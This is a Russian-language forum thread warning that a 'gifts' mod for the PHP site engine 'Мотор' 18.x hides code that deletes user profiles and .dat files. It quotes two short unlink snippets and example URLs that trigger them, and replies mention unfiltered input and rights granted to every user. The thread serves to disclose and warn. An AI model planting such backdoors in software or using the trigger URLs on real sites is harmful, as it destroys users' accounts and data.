Мод подарки под мотор ОПАСНЫЙ

Помоймо я обнаружел вредный код на скрипте ПОДАРКИ под мотор 18.x. Один пачан ест сказал что уже не использываю двигатель мотор. Я спросил почему? Он сказал что каждый ден удалился логины и мой логин тоже. И пропали файлы дат на локале надоел мне двигатель мотор. Я сказал ну как хочеш но мне нравится. И спросил какие моды бил у тя? Он сказал только мод подарки м много темы добавлял.Искал подарок под мотор и нашел его. Смотрел вес код и там 2 код не нравился мне. Может я ошибаюс на етот 2 код, или не информирванный тема открыл вопшем нарушил здесь правила то отправте меня тюрму) баню))ну я ж не кодер простой бомж кодер знаюший нектрый функций и коды для пхп. Просто подумал чте если об етот 2 коды не написано на ридми значит вредный код)). Первое код удаляет любой ник, второй код удаляет любой дат файл на локале. Например config.dat и другие.Там найдете етот код.

Например Если мы устанавим подарок суда и ктото заходет на етот ссыку visavi.net/pages/podarok.php?action=to&uz=Admin&
то удаляется ник Admin.

//---------------------------- Выбор подарка --------------------------//
if($action=="to"){ 
unlink(BASEDIR."local/profil/$uz.prof"); }

И вот етом коде если ктото заходет на етот ссыку
visavi.net/pages/podarok.php?action=too&m=config.dat&

//---------------------------- Удаление списков --------------------------//
if($action=="too"){
$m=$_GET['m'];
unlink(BASEDIR."local/$m.dat"); }

вот сами файл
тхт

zip

Будте осторожне

Я уже обеснил пачану он уже снова использывает мотор но без штаны)) голый мотор без мода))

Там не только это=) он всем выдает права юзера и подобной "бяки"=)

Вот оргинал тхт файл. С автором
http://upwap.ru/901026

5. Rezent aka NeForMat, даа все узеры смогут удалить ))

весь скрипт одна большая дырка, не чего не фильтруется а в примерах во 2 посте дырка спецом сделана и то через задний проход
Вот это особенно порадовало
$ggg = @file(BASEDIR."/local/profil/$log.prof");
....
$log=check($log);
Сначала файл запрашивается а только потом уже переменная фильтруется, гениально

Вот сам подарок боле 300кб

MOD Engine вернулся?Йа счастлив
Еще бы 16 мотор,переведеланный на китайский язык расковырял-бы.